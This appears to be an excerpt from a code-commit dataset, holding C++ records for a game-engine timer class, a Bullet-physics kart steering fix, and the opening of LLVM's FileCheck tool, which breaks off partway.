std::regex(\"(\\\")\"), \"\\\\\\\"\") + \"\\\");\";\n\t\t\t\t\tscene_->getApplication()->getChai()->eval(evalString);\n\t\t\t\t} catch (std::exception& e) {\n\t\t\t\t\tconst std::string evalString = \"puts(\\\"\" + std::regex_replace(e.what(), std::regex(\"(\\\")\"), \"\\\\\\\"\") + \"\\\");\";\n\t\t\t\t} catch (...) {\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\tif (single_shot_)\n\t\t\t\t{\n\t\t\t\t\tactive_ = false;\n\t\t\t\t\tgetScene()->destroyFSEObject(this);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\n\t\t}\n\t}\n\n\tvoid Timer::draw(sf::RenderTarget & target)\n\t{\n\t}\n\n\tvoid Timer::spawned()\n\t{\n\t}\n\n\tvoid Timer::stop()\n\t{\n\t\tactive_ = false;\n\t}\n\n\tvoid Timer::setInterval(int msecs)\n\t{\n\t\tinterval_ = msecs;\n\t}\n\n\tbool Timer::isActive() const\n\t{\n\t\treturn active_;\n\t}\n\n\tvoid Timer::setSingleShot(bool singleShot)\n\t{\n\t\tsingle_shot_ = singleShot;\n\t}\n\n}\n\n#include <rttr\/registration>\nRTTR_REGISTRATION\n{\n\tusing namespace rttr;\n\n\tregistration::class_<fse::Timer>(\"fse::Timer\")\n\t.constructor<>([](fse::Scene* scene)\n\t{\n\t\tscene->createFSEObject<fse::Timer>();\n\t\treturn nullptr;\n\t})\n\t(\n\t\tparameter_names(\"scene\"),\n\t\tmetadata(\"CHAI_CTOR\", true)\n\t)\n\t.constructor<>([](fse::Scene* scene, std::function<void(fse::FSEObject*)> func)\n\t{\n\t\tscene->createFSEObject<fse::Timer>(func);\n\t\treturn nullptr;\n\t})\n\t(\n\t\tparameter_names(\"scene\", \"spawnedSlot\"),\n\t\tmetadata(\"CHAI_CTOR\", true)\n\t)\n\t.property_readonly(\"active_\", &fse::Timer::active_)\n\t.property(\"single_shot_\", &fse::Timer::single_shot_)\n\t.property(\"interval_\", &fse::Timer::interval_)\n\t\/\/.method(\"start\", [](fse::Timer* timer, auto slot) { timer->start(slot); })\n\t.method(\"stop\", &fse::Timer::stop)\n\t;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"physics.h\"\n#include \"GLDebugDrawer.h\"\n#include \"..\/state\/state.h\"\n#include <iostream>\n\nusing namespace Physics;\n\nSimulation::Simulation()\n{\n\tm_broadphase = new btDbvtBroadphase();\n\tm_collisionConfiguration = new btDefaultCollisionConfiguration();\n\tm_dispatcher = new btCollisionDispatcher(m_collisionConfiguration);\n\tm_solver = new btSequentialImpulseConstraintSolver;\n\tm_world = new btDiscreteDynamicsWorld(m_dispatcher, m_broadphase, m_solver, m_collisionConfiguration);\n\n\tm_world->setGravity(btVector3(0,-10,0));\n\n\tmb.request(Events::EventType::Input);\n}\n\nSimulation::~Simulation()\n{\n\t\/*\n\tdelete m_world;\n\tdelete m_solver;\n\tdelete m_broadphase;\n\tdelete m_dispatcher;\n\tdelete m_collisionConfiguration;\n\t*\/\n}\n\n\/\/ Tuning\n\/\/ Credit to:\n\/\/ http:\/\/bullet.googlecode.com\/svn-history\/r2704\/trunk\/Demos\/ForkLiftDemo\/ForkLiftDemo.cpp\nfloat\tgEngineForce = 0.f;\n\nfloat\tdefaultBreakingForce = 10.f;\nfloat\tgBreakingForce = 100.f;\n\nfloat\tmaxEngineForce = 1000.f;\/\/this should be engine\/velocity dependent\nfloat\tmaxBreakingForce = 100.f;\n\nfloat\tgVehicleSteering = 0.f;\nfloat\twheelFriction = 1000;\/\/BT_LARGE_FLOAT;\nfloat\tsuspensionStiffness = 2.f;\nfloat\tsuspensionDamping = 1.3f;\nfloat\tsuspensionCompression = 1.1f;\nfloat\trollInfluence = 1.01f;\/\/1.0f;\nbtScalar suspensionRestLength(0.2);\n\nbtRigidBody *Simulation::addRigidBody(double mass, const btTransform& startTransform, btCollisionShape* shape)\n{\n\tbtVector3 localInertia(0, 0, 0);\n\tif (mass != 0.0) {\n\t\tshape->calculateLocalInertia(mass, localInertia);\n\t}\t\n\n\tbtDefaultMotionState* myMotionState = new btDefaultMotionState(startTransform);\n\t\n\tbtRigidBody::btRigidBodyConstructionInfo cInfo(mass,myMotionState,shape,localInertia);\n\t\n\tbtRigidBody* body = new btRigidBody(cInfo);\n\tbody->setContactProcessingThreshold(1);\n\t\n\tm_world->addRigidBody(body);\n\n\treturn body;\n}\n\nint Simulation::loadWorld()\n{\n\t\/\/ Create car\n#define CAR_WIDTH (0.15)\n#define CAR_LENGTH (0.25)\n#define CAR_MASS (400.0)\n\n\tbtCollisionShape* chassisShape = new btBoxShape(btVector3(CAR_WIDTH, CAR_WIDTH, CAR_LENGTH));\n\tbtCompoundShape* compound = new btCompoundShape();\n\tm_collisionShapes.push_back(chassisShape);\n\tm_collisionShapes.push_back(compound);\n\n\tbtTransform localTrans; \/\/ shift gravity to center of car\n\tlocalTrans.setIdentity();\n\tlocalTrans.setOrigin(btVector3(0,CAR_WIDTH*1, 0));\n\tcompound->addChildShape(localTrans, chassisShape);\n\n\tbtTransform tr;\n\ttr.setIdentity();\n\ttr.setOrigin(btVector3(0,5,0));\n\tm_carChassis = addRigidBody(CAR_MASS, tr, compound);\n\n\tm_vehicleRayCaster = new btDefaultVehicleRaycaster(m_world);\n\tm_tuning.m_maxSuspensionTravelCm = 204.8f;\n\tm_tuning.m_suspensionCompression = 4.4f;\n\tm_tuning.m_suspensionDamping = 2.3f;\n\tm_tuning.m_frictionSlip = 10000.0f;\n\tm_tuning.m_suspensionStiffness = 5.0f;\n\tm_tuning.m_maxSuspensionForce = 1000.0;\n\tm_vehicle = new btRaycastVehicle(m_tuning,m_carChassis, m_vehicleRayCaster);\n\tm_carChassis->setActivationState(DISABLE_DEACTIVATION);\n\tm_world->addVehicle(m_vehicle);\n\n\tfloat connectionHeight = 0.1;\n\tbtVector3 wheelDirectionCS0(0,-1,0);\n\tbtVector3 wheelAxleCS(-1,0,0);\n\n#define CON1 (CAR_WIDTH)\n#define CON2 (CAR_LENGTH)\n\tfloat\twheelRadius = 0.075f;\n\tfloat\twheelWidth = 0.03f;\n\tbool isFrontWheel=true;\n\tbtVector3 connectionPointCS0(CON1,connectionHeight,CON2);\n\tm_vehicle->addWheel(connectionPointCS0,wheelDirectionCS0,wheelAxleCS,suspensionRestLength,wheelRadius,m_tuning,isFrontWheel);\n\n\tconnectionPointCS0 = btVector3(-CON1,connectionHeight,CON2);\n\tm_vehicle->addWheel(connectionPointCS0,wheelDirectionCS0,wheelAxleCS,suspensionRestLength,wheelRadius,m_tuning,isFrontWheel);\n\n\n\tisFrontWheel = false;\n\n\tconnectionPointCS0 = btVector3(-CON1,connectionHeight,-CON2);\n\tm_vehicle->addWheel(connectionPointCS0,wheelDirectionCS0,wheelAxleCS,suspensionRestLength,wheelRadius,m_tuning,isFrontWheel);\n\n\tconnectionPointCS0 = btVector3(CON1,connectionHeight,-CON2);\n\tm_vehicle->addWheel(connectionPointCS0,wheelDirectionCS0,wheelAxleCS,suspensionRestLength,wheelRadius,m_tuning,isFrontWheel);\n\t\n\tfor (int i=0;i<m_vehicle->getNumWheels();i++)\n\t{\n\t\tbtWheelInfo& wheel = m_vehicle->getWheelInfo(i);\n\t\twheel.m_suspensionStiffness = suspensionStiffness;\n\t\twheel.m_wheelsDampingRelaxation = suspensionDamping;\n\t\twheel.m_wheelsDampingCompression = suspensionCompression;\n\t\twheel.m_frictionSlip = wheelFriction;\n\t\twheel.m_rollInfluence = rollInfluence;\n\t}\n\n\n\t\/\/ Add map\n\tStateData *state = GetMutState();\n\tbtBvhTriangleMeshShape *arenaShape = new btBvhTriangleMeshShape(state->bttmArena, true, true);\n\tm_arena = addRigidBody(0.0, btTransform(btQuaternion(0,0,0,1),btVector3(0,0,0)), arenaShape);\n\n\tm_vehicle->resetSuspension();\n\tfor (int i=0;i<m_vehicle->getNumWheels();i++)\n\t{\n\t\t\/\/synchronize the wheels with the (interpolated) chassis worldtransform\n\t\tm_vehicle->updateWheelTransform(i,true);\n\t}\n\n\treturn 0;\n}\n\nvoid Simulation::step(double seconds)\n{\n\t\/\/ DEBUGOUT(\"RUNING PHYSICS %lf\\n\", seconds);\n\n#define STEER_MAX_ANGLE (40.0)\n#define ENGINE_MAX_FORCE (5000)\n#define BRAKE_MAX_FORCE (3000)\n\n\tfor ( Events::Event *event : (mb.checkMail()) )\n\t{\n\t\t\/\/ Hack: Sorry\n\t\tswitch ( event->type )\n\t\t{\n\t\tcase Events::EventType::Input:\n\t\t{\n\t\t\tEvents::InputEvent *input = (Events::InputEvent *)event;\n\t\t\t\/\/double steer = STEER_MAX_ANGLE * input->leftThumbStickRL;\n\t\t\t\/\/if (steer) {\n\t\t\t\/\/\tgVehicleSteering = steer;\n\t\t\t\/\/}\n\t\t\t\/\/\/\/DEBUGOUT(\"STEER %lf, \", gVehicleSteering);\n\t\t\t\/\/double force = ENGINE_MAX_FORCE * input->rightTrigger;\n\t\t\t\/\/if(force) {\n\t\t\t\/\/\tgEngineForce = force;\n\t\t\t\/\/}\n\t\t\t\/\/\/\/DEBUGOUT(\"FORCE %lf\\n\", gEngineForce);\n\t\t\t\/\/double breakingForce = BRAKE_MAX_FORCE * input->leftTrigger;\n\t\t\t\/\/if(breakingForce)\n\t\t\t\/\/{\n\t\t\t\/\/\t\/\/gBreakingForce = breakingForce;\n\t\t\t\/\/\tgBreakingForce = 0.0;\n\t\t\t\/\/\tgEngineForce -= breakingForce;\n\t\t\t\/\/}\n\n\t\t\tgBreakingForce = 0.0;\t\/\/ Not using this yet, maybe for E-brake or something.\n\t\t\tgVehicleSteering = -STEER_MAX_ANGLE * input->leftThumbStickRL;\n\t\t\tgEngineForce = ENGINE_MAX_FORCE * input->rightTrigger - BRAKE_MAX_FORCE * input->leftTrigger;\n\n\t\t\tDEBUGOUT(\"Bforce: %lf, Eforce: %lf, Steer: %f\\n\", gBreakingForce, gEngineForce, gVehicleSteering);\n\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t}\n\tmb.emptyMail();\n\n\t\/\/ Apply steering to front wheels\n\tm_vehicle->setSteeringValue(gVehicleSteering, 0);\n\tm_vehicle->setSteeringValue(gVehicleSteering, 1);\n\n\t\/\/ Apply braking and engine force to rear wheels\n\tm_vehicle->applyEngineForce(gEngineForce, 2);\n\tm_vehicle->applyEngineForce(gEngineForce, 3);\n\tm_vehicle->setBrake(gBreakingForce, 2);\n\tm_vehicle->setBrake(gBreakingForce, 3);\n\n\tm_world->stepSimulation((btScalar)seconds, 10);\n\n\t\/\/ Update the placement of the car in the world state\n\tStateData *state = GetMutState();\n\tbtTransform car1 = m_vehicle->getChassisWorldTransform();\n\tbtVector3 pos = car1.getOrigin();\n\tstate->Karts[0].vPos.x = pos.getX();\n\tstate->Karts[0].vPos.y = pos.getY();\n\tstate->Karts[0].vPos.z = pos.getZ();\n\tbtQuaternion rot = car1.getRotation();\n\tbtVector3 axis = rot.getAxis();\n\tVector3 v;\n\tv.x = axis.getX();\n\tv.y = axis.getY();\n\tv.z = axis.getZ();\n\tReal angle = -rot.getAngle();\n\tstate->Karts[0].qOrient.RotateAxisAngle(v, angle);\n}\n\nvoid Simulation::enableDebugView()\n{\n}\n<commit_msg>Fixed steering, ITS IN RADIANS!!!!111!!!111<commit_after>#include \"physics.h\"\n#include \"GLDebugDrawer.h\"\n#include \"..\/state\/state.h\"\n#include <iostream>\n\nusing namespace Physics;\n\nSimulation::Simulation()\n{\n\tm_broadphase = new btDbvtBroadphase();\n\tm_collisionConfiguration = new btDefaultCollisionConfiguration();\n\tm_dispatcher = new btCollisionDispatcher(m_collisionConfiguration);\n\tm_solver = new btSequentialImpulseConstraintSolver;\n\tm_world = new btDiscreteDynamicsWorld(m_dispatcher, m_broadphase, m_solver, m_collisionConfiguration);\n\n\tm_world->setGravity(btVector3(0,-10,0));\n\n\tmb.request(Events::EventType::Input);\n}\n\nSimulation::~Simulation()\n{\n\t\/*\n\tdelete m_world;\n\tdelete m_solver;\n\tdelete m_broadphase;\n\tdelete m_dispatcher;\n\tdelete m_collisionConfiguration;\n\t*\/\n}\n\n\/\/ Tuning\n\/\/ Credit to:\n\/\/ http:\/\/bullet.googlecode.com\/svn-history\/r2704\/trunk\/Demos\/ForkLiftDemo\/ForkLiftDemo.cpp\nfloat\tgEngineForce = 0.f;\n\nfloat\tdefaultBreakingForce = 10.f;\nfloat\tgBreakingForce = 100.f;\n\nfloat\tmaxEngineForce = 1000.f;\/\/this should be engine\/velocity dependent\nfloat\tmaxBreakingForce = 100.f;\n\nfloat\tgVehicleSteering = 0.f;\nfloat\twheelFriction = 1000;\/\/BT_LARGE_FLOAT;\nfloat\tsuspensionStiffness = 2.f;\nfloat\tsuspensionDamping = 1.3f;\nfloat\tsuspensionCompression = 1.1f;\nfloat\trollInfluence = 1.01f;\/\/1.0f;\nbtScalar suspensionRestLength(0.2);\n\nbtRigidBody *Simulation::addRigidBody(double mass, const btTransform& startTransform, btCollisionShape* shape)\n{\n\tbtVector3 localInertia(0, 0, 0);\n\tif (mass != 0.0) {\n\t\tshape->calculateLocalInertia(mass, localInertia);\n\t}\t\n\n\tbtDefaultMotionState* myMotionState = new btDefaultMotionState(startTransform);\n\t\n\tbtRigidBody::btRigidBodyConstructionInfo cInfo(mass,myMotionState,shape,localInertia);\n\t\n\tbtRigidBody* body = new btRigidBody(cInfo);\n\tbody->setContactProcessingThreshold(1);\n\t\n\tm_world->addRigidBody(body);\n\n\treturn body;\n}\n\nint Simulation::loadWorld()\n{\n\t\/\/ Create car\n#define CAR_WIDTH (0.15)\n#define CAR_LENGTH (0.25)\n#define CAR_MASS (400.0)\n\n\tbtCollisionShape* chassisShape = new btBoxShape(btVector3(CAR_WIDTH, CAR_WIDTH, CAR_LENGTH));\n\tbtCompoundShape* compound = new btCompoundShape();\n\tm_collisionShapes.push_back(chassisShape);\n\tm_collisionShapes.push_back(compound);\n\n\tbtTransform localTrans; \/\/ shift gravity to center of car\n\tlocalTrans.setIdentity();\n\tlocalTrans.setOrigin(btVector3(0,CAR_WIDTH*1, 0));\n\tcompound->addChildShape(localTrans, chassisShape);\n\n\tbtTransform tr;\n\ttr.setIdentity();\n\ttr.setOrigin(btVector3(0,5,0));\n\tm_carChassis = addRigidBody(CAR_MASS, tr, compound);\n\n\tm_vehicleRayCaster = new btDefaultVehicleRaycaster(m_world);\n\tm_tuning.m_maxSuspensionTravelCm = 204.8f;\n\tm_tuning.m_suspensionCompression = 4.4f;\n\tm_tuning.m_suspensionDamping = 2.3f;\n\tm_tuning.m_frictionSlip = 10000.0f;\n\tm_tuning.m_suspensionStiffness = 5.0f;\n\tm_tuning.m_maxSuspensionForce = 1000.0;\n\tm_vehicle = new btRaycastVehicle(m_tuning,m_carChassis, m_vehicleRayCaster);\n\tm_carChassis->setActivationState(DISABLE_DEACTIVATION);\n\tm_world->addVehicle(m_vehicle);\n\n\tfloat connectionHeight = 0.1;\n\tbtVector3 wheelDirectionCS0(0,-1,0);\n\tbtVector3 wheelAxleCS(-1,0,0);\n\n#define CON1 (CAR_WIDTH)\n#define CON2 (CAR_LENGTH)\n\tfloat\twheelRadius = 0.075f;\n\tfloat\twheelWidth = 0.03f;\n\tbool isFrontWheel=true;\n\tbtVector3 connectionPointCS0(CON1,connectionHeight,CON2);\n\tm_vehicle->addWheel(connectionPointCS0,wheelDirectionCS0,wheelAxleCS,suspensionRestLength,wheelRadius,m_tuning,isFrontWheel);\n\n\tconnectionPointCS0 = btVector3(-CON1,connectionHeight,CON2);\n\tm_vehicle->addWheel(connectionPointCS0,wheelDirectionCS0,wheelAxleCS,suspensionRestLength,wheelRadius,m_tuning,isFrontWheel);\n\n\n\tisFrontWheel = false;\n\n\tconnectionPointCS0 = btVector3(-CON1,connectionHeight,-CON2);\n\tm_vehicle->addWheel(connectionPointCS0,wheelDirectionCS0,wheelAxleCS,suspensionRestLength,wheelRadius,m_tuning,isFrontWheel);\n\n\tconnectionPointCS0 = btVector3(CON1,connectionHeight,-CON2);\n\tm_vehicle->addWheel(connectionPointCS0,wheelDirectionCS0,wheelAxleCS,suspensionRestLength,wheelRadius,m_tuning,isFrontWheel);\n\t\n\tfor (int i=0;i<m_vehicle->getNumWheels();i++)\n\t{\n\t\tbtWheelInfo& wheel = m_vehicle->getWheelInfo(i);\n\t\twheel.m_suspensionStiffness = suspensionStiffness;\n\t\twheel.m_wheelsDampingRelaxation = suspensionDamping;\n\t\twheel.m_wheelsDampingCompression = suspensionCompression;\n\t\twheel.m_frictionSlip = wheelFriction;\n\t\twheel.m_rollInfluence = rollInfluence;\n\t}\n\n\n\t\/\/ Add map\n\tStateData *state = GetMutState();\n\tbtBvhTriangleMeshShape *arenaShape = new btBvhTriangleMeshShape(state->bttmArena, true, true);\n\tm_arena = addRigidBody(0.0, btTransform(btQuaternion(0,0,0,1),btVector3(0,0,0)), arenaShape);\n\n\tm_vehicle->resetSuspension();\n\tfor (int i=0;i<m_vehicle->getNumWheels();i++)\n\t{\n\t\t\/\/synchronize the wheels with the (interpolated) chassis worldtransform\n\t\tm_vehicle->updateWheelTransform(i,true);\n\t}\n\n\treturn 0;\n}\n\nvoid Simulation::step(double seconds)\n{\n\t\/\/ DEBUGOUT(\"RUNING PHYSICS %lf\\n\", seconds);\n\n#define STEER_MAX_ANGLE (40)\n#define ENGINE_MAX_FORCE (3000)\n#define BRAKE_MAX_FORCE (3000)\n\n\tfor ( Events::Event *event : (mb.checkMail()) )\n\t{\n\t\t\/\/ Hack: Sorry\n\t\tswitch ( event->type )\n\t\t{\n\t\tcase Events::EventType::Input:\n\t\t{\n\t\t\tEvents::InputEvent *input = (Events::InputEvent *)event;\n\t\t\t\/\/double steer = STEER_MAX_ANGLE * input->leftThumbStickRL;\n\t\t\t\/\/if (steer) {\n\t\t\t\/\/\tgVehicleSteering = steer;\n\t\t\t\/\/}\n\t\t\t\/\/\/\/DEBUGOUT(\"STEER %lf, \", gVehicleSteering);\n\t\t\t\/\/double force = ENGINE_MAX_FORCE * input->rightTrigger;\n\t\t\t\/\/if(force) {\n\t\t\t\/\/\tgEngineForce = force;\n\t\t\t\/\/}\n\t\t\t\/\/\/\/DEBUGOUT(\"FORCE %lf\\n\", gEngineForce);\n\t\t\t\/\/double breakingForce = BRAKE_MAX_FORCE * input->leftTrigger;\n\t\t\t\/\/if(breakingForce)\n\t\t\t\/\/{\n\t\t\t\/\/\t\/\/gBreakingForce = breakingForce;\n\t\t\t\/\/\tgBreakingForce = 0.0;\n\t\t\t\/\/\tgEngineForce -= breakingForce;\n\t\t\t\/\/}\n\n\t\t\tgBreakingForce = 0.0;\t\/\/ Not using this yet, maybe for E-brake or something.\n\t\t\tgVehicleSteering = DEGTORAD(STEER_MAX_ANGLE) * input->leftThumbStickRL;\n\t\t\tgEngineForce = ENGINE_MAX_FORCE * input->rightTrigger - BRAKE_MAX_FORCE * input->leftTrigger;\n\n\t\t\tDEBUGOUT(\"Bforce: %lf, Eforce: %lf, Steer: %f\\n\", gBreakingForce, gEngineForce, gVehicleSteering);\n\n\t\t\tif( GetState().key_map['r'] )\n\t\t\t{\n\t\t\t\tbtTransform trans;\n\t\t\t\ttrans.setOrigin( btVector3( 0, 5, 0 ) );\n\t\t\t\tm_vehicle->getRigidBody()->setWorldTransform( trans );\n\t\t\t}\n\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t}\n\tmb.emptyMail();\n\n\t\/\/ Apply steering to front wheels\n\tm_vehicle->setSteeringValue(gVehicleSteering, 0);\n\tm_vehicle->setSteeringValue(gVehicleSteering, 1);\n\n\t\/\/ Apply braking and engine force to rear wheels\n\tm_vehicle->applyEngineForce(gEngineForce, 2);\n\tm_vehicle->applyEngineForce(gEngineForce, 3);\n\tm_vehicle->setBrake(gBreakingForce, 2);\n\tm_vehicle->setBrake(gBreakingForce, 3);\n\n\tm_world->stepSimulation((btScalar)seconds, 10);\n\n\t\/\/ Update the placement of the car in the world state\n\tStateData *state = GetMutState();\n\tbtTransform car1 = m_vehicle->getChassisWorldTransform();\n\n\tbtVector3 pos = car1.getOrigin();\n\tstate->Karts[0].vPos.x = (Real)pos.getX();\n\tstate->Karts[0].vPos.y = (Real)pos.getY();\n\tstate->Karts[0].vPos.z = (Real)pos.getZ();\n\n\tbtQuaternion rot = car1.getRotation();\n\tstate->Karts[0].qOrient.x = (Real)rot.getX();\n\tstate->Karts[0].qOrient.y = (Real)-rot.getY();\n\tstate->Karts[0].qOrient.z = (Real)rot.getZ();\n\tstate->Karts[0].qOrient.w = (Real)rot.getW();\n}\n\nvoid Simulation::enableDebugView()\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===- FileCheck.cpp - Check that File's Contents match what is expected --===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ FileCheck does a line-by line check of a file that validates whether it\n\/\/ contains the expected content. This is useful for regression tests etc.\n\/\/\n\/\/ This program exits with an error status of 2 on error, exit status of 0 if\n\/\/ the file matched the expected contents, and exit status of 1 if it did not\n\/\/ contain the expected contents.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/PrettyStackTrace.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/System\/Signals.h\"\nusing namespace llvm;\n\nstatic cl::opt<std::string>\nCheckFilename(cl::Positional, cl::desc(\"<check-file>\"), cl::Required);\n\nstatic cl::opt<std::string>\nInputFilename(\"input-file\", cl::desc(\"File to check (defaults to stdin)\"),\n cl::init(\"-\"), cl::value_desc(\"filename\"));\n\nstatic cl::opt<std::string>\nCheckPrefix(\"check-prefix\", cl::init(\"CHECK\"),\n cl::desc(\"Prefix to use from check file (defaults to 'CHECK')\"));\n\nstatic cl::opt<bool>\nNoCanonicalizeWhiteSpace(\"strict-whitespace\",\n cl::desc(\"Do not treat all horizontal whitespace as equivalent\"));\n\n\/\/\/ CheckString - This is a check that we found in the input file.\nstruct CheckString {\n \/\/\/ Str - The string to match.\n std::string Str;\n \n \/\/\/ Loc - The location in the match file that the check string was specified.\n SMLoc Loc;\n \n \/\/\/ IsCheckNext - This is true if this is a CHECK-NEXT: directive (as opposed\n \/\/\/ to a CHECK: directive.\n bool IsCheckNext;\n \n CheckString(const std::string &S, SMLoc L, bool isCheckNext)\n : Str(S), Loc(L), IsCheckNext(isCheckNext) {}\n};\n\n\n\/\/\/ FindFixedStringInBuffer - This works like strstr, except for two things:\n\/\/\/ 1) it handles 'nul' characters in memory buffers. 2) it returns the end of\n\/\/\/ the memory buffer on match failure instead of null.\nstatic const char *FindFixedStringInBuffer(StringRef Str, const char *CurPtr,\n const MemoryBuffer &MB) {\n assert(!Str.empty() && \"Can't find an empty string\");\n const char *BufEnd = MB.getBufferEnd();\n \n while (1) {\n \/\/ Scan for the first character in the match string.\n CurPtr = (char*)memchr(CurPtr, Str[0], BufEnd-CurPtr);\n \n \/\/ If we didn't find the first character of the string, then we failed to\n \/\/ match.\n if (CurPtr == 0) return BufEnd;\n\n \/\/ If the match string is one character, then we win.\n if (Str.size() == 1) return CurPtr;\n \n \/\/ Otherwise, verify that the rest of the string matches.\n if (Str.size() <= unsigned(BufEnd-CurPtr) &&\n memcmp(CurPtr+1, Str.data()+1, Str.size()-1) == 0)\n return CurPtr;\n \n \/\/ If not, advance past this character and try again.\n ++CurPtr;\n }\n}\n\n\/\/\/ ReadCheckFile - Read the check file, which specifies the sequence of\n\/\/\/ expected strings. The strings are added to the CheckStrings vector.\nstatic bool ReadCheckFile(SourceMgr &SM,\n std::vector<CheckString> &CheckStrings) {\n \/\/ Open the check file, and tell SourceMgr about it.\n std::string ErrorStr;\n MemoryBuffer *F =\n MemoryBuffer::getFileOrSTDIN(CheckFilename.c_str(), &ErrorStr);\n if (F == 0) {\n errs() << \"Could not open check file '\" << CheckFilename << \"': \" \n << ErrorStr << '\\n';\n return true;\n }\n SM.AddNewSourceBuffer(F, SMLoc());\n\n \/\/ Find all instances of CheckPrefix followed by : in the file.\n const char *CurPtr = F->getBufferStart(), *BufferEnd = F->getBufferEnd();\n\n while (1) {\n \/\/ See if Prefix occurs in the memory buffer.\n const char *Ptr = FindFixedStringInBuffer(CheckPrefix, CurPtr, *F);\n \n \/\/ If we didn't find a match, we're done.\n if (Ptr == BufferEnd)\n break;\n \n const char *CheckPrefixStart = Ptr;\n \n \/\/ When we find a check prefix, keep track of whether we find CHECK: or\n \/\/ CHECK-NEXT:\n bool IsCheckNext;\n \n \/\/ Verify that the : is present after the prefix.\n if (Ptr[CheckPrefix.size()] == ':') {\n Ptr += CheckPrefix.size()+1;\n IsCheckNext = false;\n } else if (BufferEnd-Ptr > 6 &&\n memcmp(Ptr+CheckPrefix.size(), \"-NEXT:\", 6) == 0) {\n Ptr += CheckPrefix.size()+7;\n IsCheckNext = true;\n } else {\n CurPtr = Ptr+1;\n continue;\n }\n \n \/\/ Okay, we found the prefix, yay. Remember the rest of the line, but\n \/\/ ignore leading and trailing whitespace.\n while (*Ptr == ' ' || *Ptr == '\\t')\n ++Ptr;\n \n \/\/ Scan ahead to the end of line.\n CurPtr = Ptr;\n while (CurPtr != BufferEnd && *CurPtr != '\\n' && *CurPtr != '\\r')\n ++CurPtr;\n \n \/\/ Ignore trailing whitespace.\n while (CurPtr[-1] == ' ' || CurPtr[-1] == '\\t')\n --CurPtr;\n \n \/\/ Check that there is something on the line.\n if (Ptr >= CurPtr) {\n SM.PrintMessage(SMLoc::getFromPointer(CurPtr),\n \"found empty check string with prefix '\"+CheckPrefix+\":'\",\n \"error\");\n return true;\n }\n \n \/\/ Verify that CHECK-NEXT lines have at least one CHECK line before them.\n if (IsCheckNext && CheckStrings.empty()) {\n SM.PrintMessage(SMLoc::getFromPointer(CheckPrefixStart),\n \"found '\"+CheckPrefix+\"-NEXT:' without previous '\"+\n CheckPrefix+ \": line\", \"error\");\n return true;\n }\n \n \/\/ Okay, add the string we captured to the output vector and move on.\n CheckStrings.push_back(CheckString(std::string(Ptr, CurPtr),\n SMLoc::getFromPointer(Ptr),\n IsCheckNext));\n }\n \n if (CheckStrings.empty()) {\n errs() << \"error: no check strings found with prefix '\" << CheckPrefix\n << \":'\\n\";\n return true;\n }\n \n return false;\n}\n\n\/\/ CanonicalizeCheckStrings - Replace all sequences of horizontal whitespace in\n\/\/ the check strings with a single space.\nstatic void CanonicalizeCheckStrings(std::vector<CheckString> &CheckStrings) {\n for (unsigned i = 0, e = CheckStrings.size(); i != e; ++i) {\n std::string &Str = CheckStrings[i].Str;\n \n for (unsigned C = 0; C != Str.size(); ++C) {\n \/\/ If C is not a horizontal whitespace, skip it.\n if (Str[C] != ' ' && Str[C] != '\\t')\n continue;\n \n \/\/ Replace the character with space, then remove any other space\n \/\/ characters after it.\n Str[C] = ' ';\n \n while (C+1 != Str.size() &&\n (Str[C+1] == ' ' || Str[C+1] == '\\t'))\n Str.erase(Str.begin()+C+1);\n }\n }\n}\n\n\/\/\/ CanonicalizeInputFile - Remove duplicate horizontal space from the specified\n\/\/\/ memory buffer, free it, and return a new one.\nstatic MemoryBuffer *CanonicalizeInputFile(MemoryBuffer *MB) {\n SmallVector<char, 16> NewFile;\n NewFile.reserve(MB->getBufferSize());\n \n for (const char *Ptr = MB->getBufferStart(), *End = MB->getBufferEnd();\n Ptr != End; ++Ptr) {\n \/\/ If C is not a horizontal whitespace, skip it.\n if (*Ptr != ' ' && *Ptr != '\\t') {\n NewFile.push_back(*Ptr);\n continue;\n }\n \n \/\/ Otherwise, add one space and advance over neighboring space.\n NewFile.push_back(' ');\n while (Ptr+1 != End &&\n (Ptr[1] == ' ' || Ptr[1] == '\\t'))\n ++Ptr;\n }\n \n \/\/ Free the old buffer and return a new one.\n MemoryBuffer *MB2 =\n MemoryBuffer::getMemBufferCopy(NewFile.data(), \n NewFile.data() + NewFile.size(),\n MB->getBufferIdentifier());\n\n delete MB;\n return MB2;\n}\n\n\nstatic void PrintCheckFailed(const SourceMgr &SM, const CheckString &CheckStr,\n const char *CurPtr, const char *BufferEnd) {\n \/\/ Otherwise, we have an error, emit an error message.\n SM.PrintMessage(CheckStr.Loc, \"expected string not found in input\",\n \"error\");\n \n \/\/ Print the \"scanning from here\" line. If the current position is at the\n \/\/ end of a line, advance to the start of the next line.\n const char *Scan = CurPtr;\n while (Scan != BufferEnd &&\n (*Scan == ' ' || *Scan == '\\t'))\n ++Scan;\n if (*Scan == '\\n' || *Scan == '\\r')\n CurPtr = Scan+1;\n \n \n SM.PrintMessage(SMLoc::getFromPointer(CurPtr), \"scanning from here\",\n \"note\");\n}\n\nstatic unsigned CountNumNewlinesBetween(const char *Start, const char *End) {\n unsigned NumNewLines = 0;\n for (; Start != End; ++Start) {\n \/\/ Scan for newline.\n if (Start[0] != '\\n' && Start[0] != '\\r')\n continue;\n \n ++NumNewLines;\n \n \/\/ Handle \\n\\r and \\r\\n as a single newline.\n if (Start+1 != End &&\n (Start[0] == '\\n' || Start[0] == '\\r') &&\n (Start[0] != Start[1]))\n ++Start;\n }\n \n return NumNewLines;\n}\n\nint main(int argc, char **argv) {\n sys::PrintStackTraceOnErrorSignal();\n PrettyStackTraceProgram X(argc, argv);\n cl::ParseCommandLineOptions(argc, argv);\n\n SourceMgr SM;\n \n \/\/ Read the expected strings from the check 